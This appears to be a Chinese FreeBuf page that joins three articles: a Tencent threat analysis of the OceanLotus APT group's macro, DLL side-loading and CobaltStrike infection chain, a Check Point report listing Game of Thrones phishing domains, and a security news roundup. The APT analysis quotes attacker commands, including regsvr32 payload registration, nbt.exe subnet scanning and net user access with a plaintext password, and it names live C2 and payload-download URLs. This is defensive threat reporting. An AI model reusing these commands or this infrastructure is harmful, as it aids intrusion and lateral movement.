最后打开之前复制的doc文件，并将原始VBA宏擦除，将解密后的新的VBA宏添加进去，并启动VBA宏函数 x_N0th1ngH3r3：
x_N0th1ngH3r3函数同样是解密出一段新VBA宏，同样调用新VBA宏的x_N0th1ngH3r3函数：
解密出来的新VBA宏目的是将shellcode解密并加载执行：
Shellcode解密出一个DLL文件，并在内存中加载，执行DllEntry函数：
DllEntry函数先会提取资源文件，并解密出来：
解密出来的内容包括最终rat和相关配置信息：
随后会将解密的rat在内存中展开，并且查找CreateInstance函数地址，然后将配置信息传入调用该函数：
配置的4个C&C使用https进行通信连接：
cloud.360cn.info
dns.chinanews.network
aliexpresscn.net
chinaport.org
其他的技术细节同文章同之前御见发布的海莲花的分析文章（见附录）
3） 白加黑
白加黑同样是该组织常用的诱饵类型，并且在实际攻击过程中，还多次使用。
如，攻击首先使用了word的主程序为白文件，加载恶意文件wwlib.dll：
释放诱饵文档到临时目录，并打开：
然后再次使用白加黑的技术，使用360se的主程序做为白文件，加载恶意的chrome_elf.dll：
chrome_elf.dll功能除了实现调用原始默认程序打开txt、doc文件外，还会连接网络下载下一阶段的恶意文件并在内存中直接执行：
下载地址为：https://officewps.net/cosja.png
此外，其他的恶意样本下载地址如：https://dominikmagoffin.com/subi.png，https://ristineho.com/direct.jpg等。
下载的木马是一个直接可当作代码执行的shellcode，下载后直接在内存中执行：
shellcode的功能是解压解密出一个功能自加载的PE文件：
该PE文件是CobaltStrike木马，和之前海莲花组织使用的该木马完全一样，C2为https://officewps.net/safebrowsing/rd/CltOb12nLW1IbHehcmUtd2hUdmFzEBAY7-0KIOkUDC7h2。
此外，我们还发现有比较早前的攻击活动中，同样使用360的软件管理来做为白加黑的载体：
该样本会读取c:/windows/system32.ini文件，读取1字节作为key：
读取并解密资源icon下的1资源，得到一个字符串wsc_proxy.exe，比较当前进程是否为wsc_proxy.exe，如果是则继续：
读取自身.text区段地址，如果没读取成功就读取safemon.dll的：
读取ummrzhwp.Emf，使用同样的方法解密，完后加载：
最终的shellcode为CobaltStrike，不再赘述。
4） 带有WinRAR ACE（CVE-2018-20250）漏洞的压缩包
该压缩包解压后，会解压出有模糊图片处理的doc文档：
除了解压出压缩的文件后，还会在启动目录（C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/StartMenu/Programs/Startup）释放一个自解压文件：
解压后会有一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件，然后执行命令
regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx执行。
该ocx的技术细节同前面宏文档的内存dll的部分分析，此处就不再赘述。
在攻击者攻陷机器后，攻击者还会持续的对受控机进行攻击：会通过脚本释放新的与该机器绑定木马，此木马主要通过两种加载器实现只能在该机器上运行，加载器也是使用白加黑技术，如使用googleupdate.exe+goopdate.dll，此外的名字还包括如：
KuGouUpdate.exe+goopdate.dll
AdobeUpdate.exe+goopdate.dll
Bounjour.exe+goopdate.dll
1） 加载器1分析
原理示意图如下：
木马执行后分配内存空间，拷贝shellcode到新申请的空间中执行，shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload，并对playload进行校验，成功后创建新线程执行playload。
2） 加载器2分析
原理图如下：
加载器2是在加载器1的基础上增加了一层随机密钥的加密，更好地对抗安全软件的检测扫描，且通过挂钩API函数然乱木马执行流程来干扰自动化沙箱的分析。
首先在dll入口点处hook LdrLoadDll函数，当调用该API时接管执行流程执行解密代码，通过内置的随机密码解密shellcode，shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload，并对playload进行校验，成功后创建新线程执行playload：
Shellcode行为同loader1解密出的shellcode一致：
使用的相关的加密前缀还有：
AMDservice
justletMeholdU
360zipfuckyou
PJFgaJunlmzRdjx79txe
sadasddsadsa@350sadsad
210.72.156.203
sad@1232198sadasd
fuckthis@wwww360sad
1KR20RYMPVYDRGU@sasd
GoogleCompany
……
最终的playload有三种，都是海莲花常用的木马，分别为CobaltStrike、Gh0st、Denis。
RAT1：CobaltStrike
RAT2：Gh0st改版
该木马疑似使用开源木马gh0st改版，支持tcp、upd，数据包使用zlib压缩。
RAT3：Denis
此外，我们还发现海莲花还会不断的对被攻击的内网进行横向移动，以此来渗透到更多的机器：
利用nbt.exe扫描内网网段，其可能通过收集凭据信息或暴力破解内网网络共享的用户和密码，如：
C://WINDOWS//system32//cmd.exe/C nbt.exe 192.168.1.105/24；通过net user等相关命令查看或访问内网主机，如：
net user//192.168.1.83/C#3 /U:192.168.1.183/Administrator 123456；
NTLM hash。
此外，在上段所述的加密的前缀中，我们还发现了一个ip：210.72.156.203做为加密前缀，我们从腾讯安图查询可见：
可以发现，能关联到nbtscan-1.0.35.exe和mmc.exe，同样跟内网渗透相关。
还渗透到内网机器后，攻击者还发下发bat和js脚本，来执行后续的操作。
脚本名字如encode.js、360se.txt、360PluginUpdater.js、360DeepScanner.js、360Tray.js等。
如：360PluginUpdater.bat+360PluginUpdater.js
360PluginUpdater.bat的功能是输出加密脚本到360PluginUpdater.dat，完成后将其重命名为360PluginUpdater.js，并执行他：
360PluginUpdater.js是个加密的脚本：
通过一系列解密后最终通过eval执行解密后的脚本：
经过base64解密及范序列化后得到两个对象loader和playload，并在内存中调用loader的LoadShell方法。
loader的pdb为：E:/priv/framework/code/tools/exe2js/loader/obj/Release/loader.pdb，其功能是申请内存，解密加载执行playload：
payload PE头自带加载代码：
最终调用ReflectiveLoader实现内存加载dll：
最终为为CobaltStrike攻击平台远控：
从本次的攻击者的钓鱼邮件的邮件名来看，攻击者均采用了网易的免费邮箱126.com和163.com，如baixiao******@126.com、duancongrui**@163.com等。邮件名格式都采用名字+数字的形式。名字存在一定的中国特色。
再者，注册的C&C域名，如cloud.360cn.info、chinaport.org、dns.chinanews.network、order.dianpingsh.com等也带有明显的中国特色。
而从钓鱼邮件的内容和附件来看，攻击者对中国的国情和相关信息也有非常多的了解。
海莲花组织是近年来针对中国大陆的敏感部门进行攻击的最活跃的APT组织之一，它总是在不断的进化，更新他的攻击手法和武器库，以达到绕过安全软件防御的目的。如不断的变换加载方式、混淆方法、多种多样的诱饵形式等，还使用新的Nday进行攻击，如该波攻击中的WinRAR ACE漏洞（CVE-2018-20250）。除了武器库的不断更新，该组织也相当熟悉中国的情况，包括政策、使用习惯等等，这也使得迷惑相关人员，是的攻击成功增加了成功率。
除此，该组织的攻击范围也在不断的扩大，除了政府部门、海事机构、商务厅、能源单位等外，研究机构所遭受的攻击也在不断的增多，而对个人的攻击，如教授、律师的钓鱼攻击也在不断的进行。
因此我们提醒有关部门及有关机构的工作人员，切实提高国家安全意识，提高网络安全意识，不要被网络钓鱼信息所蒙蔽，以免给国家安全造成重大损失。
1、 不要打开不明来源的邮件附件；
2、 及时打系统补丁和重要软件的补丁；
3、小心处理Office文档，除非确认文档来源可靠，充分了解打开文档的后果，否则务必不要开启Office启用宏代码；
*本文作者：腾讯电脑管家，转载请注明来自FreeBuf.COM
虽然现在即将夏日炎炎，但《权力的游戏》第八季的到来却能够让各位权游铁粉感受到“凛冬终至”的气息！目前，权游第八季的第一级已经播出，可能很多权游粉丝想的是“养肥了再杀”，但大部分粉丝都如同一条条饥饿的“巨龙”一般，已经开始“吞噬”这部广受欢迎的美剧了。
但与此同时，我们不得不给大家泼一盆“冷水”，因为网络犯罪分子已经开始利用大家的这种热情氛围来进行网络钓鱼诈骗了！
从恶意软件到剧集的私人下载站点，网络犯罪分子正在无所不用其极地去实施网络诈骗，而他们利用的正是广大权游粉丝对最新一季的狂热以及渴望，而这就会让他们降低戒心…
比如说下面这个网站，它使用了权游的官方品牌，并引入了类似“好评有礼”的功能来欺骗用户，让用户认为能够有机会赢得一份特殊的“大礼包”。但事实上呢？啥也没有！但此时，攻击者就可以尽可能多地收集到电子邮件以及手机号等用户敏感信息，并在将来的垃圾活动或网络钓鱼攻击者使用了。
权游钓鱼网站：【gameofthronesratings[.]com】
还有一个钓鱼网站，它伪装成了官方的权游在线商城，而它的主要目的是收集权游粉丝的信用卡详细信息：
假冒的权游在线商城：【gameofthronesofficalshop[.]com】
虽然很多用户可能以为自己能够分辨出真实网站和钓鱼网站之间的区别，但网络犯罪分子通过嵌入知名品牌的logo、相关图片以及网站界面样式，确实是能够欺骗很大一部分用户，这也是很多网络犯罪分子惯用的伎俩。
根据我们的研究成果，目前跟权游相关的网站可以分成两大类，即合法网站与钓鱼网站。这两类网站的共同特点就是都嵌入了相关的知名品牌，但两者的目的却完全不同。合法网站包含了粉丝页面、在线游戏或小型在线商城，并会通过一系列广告来吸引用户或社区成员浏览和消费：
钓鱼网站同样会在网站弹窗广告中嵌入热门品牌信息，但它们还会要求或诱使用户安装一些额外的软件，比如说恶意软件！
这些伪造的站点大部分都会要求用户提供自己的个人信息，而伪造的在线视频网站还会要求用户下载和安装各种浏览器插件，当用户完成了个人信息填写以及插件的安装之后，却毛都看不到一根。
大家放心，我们总有办法来避免让你成为下一次网络钓鱼攻击的受害者：
1、 点击某个东西之前，请三思！如果你访问的是一个完全安全且受信任的网站，那就不用担心。但如果你访问的是一个私人站点，或自己不熟悉的站点，然后你又遇到了随机邮件地址或即时消息，那你可就要小心了；
2、 确保你所访问的网站URL地址是以HTTPS开头的，或者看看地址栏有没有一个绿色的“锁”；
3、 在访问相关网站之前，请仔细检查网站的域名地址，如果发现有猫腻的话，就赶紧跑路吧；
4、 确保计算机设备安装了高级威胁防御产品。
下面给出的是Check Point研究人员收集到的使用了权游相关内容的完整网站列表，具体分类如下所示。
恶意站点：
gameofthrones/.pro欺诈站点：
gameofthronesgamer/.com
gameofthronesof/.com
gameofthronesseason8online/.net
gameofthronessaison8stream/.com
gameofthronesratings/.com
gameofthronesconquesthacked/.top
已下线站点:
gameofthrones-live/.com
gameofthronescast/.com
gameofthronesbingo/.com
gameofthronesfinale/.shop
gameofthronesseason6-online/.com
gameofthronesstudiotours/.com
gameofthronesslotscasino/.com
gameofthroneslegacytours/.com
gameofthronesseason7livestreaming/.com
gameofthronescollectibles/.com
gameofthronesseason7watchonline/.com
watchgameofthronesepisodes/.com
流媒体站点：
Gameofthroness/.club
Watchgameofthrones/.info
Gameofthronesstreamingita/.com
在线商城：
gameofthronesil/.com
gameofthroneszone/.com
gameofthronesneon/.com
gameofthronesgifts/.com
gameofthronescastle/.com
gameofthronesfandom/.com
shopatgameofthrones/.com
idolovegameofthrones/.com
gameofthronesapparel/.com
thegameofthronesparty/.com
gameofthroneskeychains/.com
gameofthronesofficalshop/.com
gameofthronestreasureshop/.com
游戏站点：
realgameofthrones/.com
officialgameofthrones/.com
博客/新闻:
gameofthronesblog/.com
gameofthroneseason8episodes/.com
gameofthronesseason8hbo/.com
hbogameofthronesseason7/.net
gameofthronespredict/.com
* 参考来源：checkpoint，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
各位Buffer早上好，今天是 2019年4月26日星期五。今天的早餐铺内容主要有：安全漏洞可以让攻击者可以从高通芯片中恢复私钥；Facebook可能因数据滥用而面临50亿美元的FTC罚款；Oracle WebLogic爆出零日漏洞；攻击者滥用GitHub服务来托管网络钓鱼工具包；美日联合声明，网络攻击将被视为武装攻击。
该漏洞影响高通芯片（用于数亿台Android设备）QSEE模块处理内部数据的方式。QSEE是一个可信执行环境（TEE），类似于英特尔的SGX。去年3月，NCC集团的安全研究员Keegan Ryan发现，Qualcomm实施的ECDSA加密签名算法允许检索在高通处理器的QSEE安全区域内处理的数据。攻击者只要在目标Android设备上获得Root权限即可获取QSEE空间中的数据。
Ryan表示去年就通知高通关于这个严重漏洞的详细信息，高通于本月早些时候发布了固件补丁，这些补丁已经包含在Google的Android 2019年4月安全更新中。但是鉴于很多Android设备厂商在推送补丁时动作十分缓慢，大量的手机用户仍处于巨大的安全风险之中。[来源：zdnet]
联邦贸易委员会（FTC）对Facebook发起的长达一年的数据安全调查已接近尾声，Facebook可能面临高达50亿美元的罚款。这家社交媒体巨头在周三发布的2019年第一季度财报中表示，它正拨出30亿至50亿美元作为应急费用。
此前，美国参议员罗恩·怀登（Ron Wyden）在一封写给美国联邦贸易委员会（FTC）的信中表示，希望让Facebook首席执行官马克·扎克伯格对该社交网络在隐私问题上所犯的错误“承担个人责任” 。这位民主党立法者写道： “考虑到扎克伯格先生的欺骗性陈述，他对Facebook的个人控制，以及他在批准与共享用户数据相关的关键决策中的作用，FTC可以而且必须让扎克伯格亲自对这些持续的违规行为负责。” 怀登在周二致FTC的一封信中表示。“FTC还必须明确表明，如果发生任何未来的违规行为，将适用于Facebook公司和扎克伯格先生的重大处罚。”[来源：zdnet]
该零日漏洞会影响所有启用wls9_async_response.war和wls-wsat.war组件的Weblogic版本，包括最新版本。攻击者可以利用此漏洞通过发送特制的HTTP请求，在未经授权的情况下远程执行命令。根据CNCERT/CC发布的CNTA-2019-0015公告，该漏洞会影响WebLogic 10.x和WebLogic 12.1.3版本。甲骨文尚未解决这一关键漏洞。安全专家建议禁用易受攻击的模块“wls9_async_response.war”和“wls-wsat.war”，或禁止在Oracle WebLogic安装中访问URL“/ _async / *”和“/ wls-wsat / *”。KnownSec 404团队的专家通过使用ZoomEye搜索引擎在线搜索易受攻击的实例，发现36,173次攻击尝试，其中大部分在美国和中国。[来源：securityaffairs]
攻击者利用GitHub Pages服务绕过白名单和网络防御，就像“使用大型消费者云存储站点、社交网络和商务服务，如Dropbox、Google Drive、Paypal、Ebay和Facebook“，可以将他们的恶意活动融入合法的网络流量中。研究人员表示，自2019年4月19日起，GitHub封禁了所有被发现参与恶意活动的账户。
正如Proofpoint的研究团队所发现的那样，多个恶意攻击者使用github.io域作为各种恶意活动的一个环节，包括网络钓鱼攻击，这些攻击将受害者引导到GitHub服务上托管的登陆页面。[来源：securityaffairs]
据外媒报道，日本和美国一致认为，针对日本的网络攻击可以被视为两国安全条约中提及的武装攻击。日本外相河野太郎和防卫大臣岩屋毅在东京于美日联合安全咨询委员会上会见了美国国务卿迈克·蓬佩奥和代理国防部长帕特里克·沙纳罕。后发布的联合声明中提到，将会根据具体情况，通过磋商决定一次网络攻击能否被归为武装袭击。有专家指出，很难界定网络攻击的目标是为了找出电脑安全系统漏洞的反间谍活动，还是攻击整个电脑系统，使其陷入瘫痪状态。
网络攻击包括侵入个人或企业电脑以及更严重的对基础设施的攻击，例如电力公司和金融机构。会议还发布了以在太空和网络空间等防卫新领域强化合作为主要内容的联合文件。文件对太空、网络和有阻碍通信之虞的电磁波这些新领域迅速的技术进步表示关切，将三者定位为有必要采取应对的优先领域。双方还就恶意网络活动构成“进一步威胁”达成共识。[来源：E安全]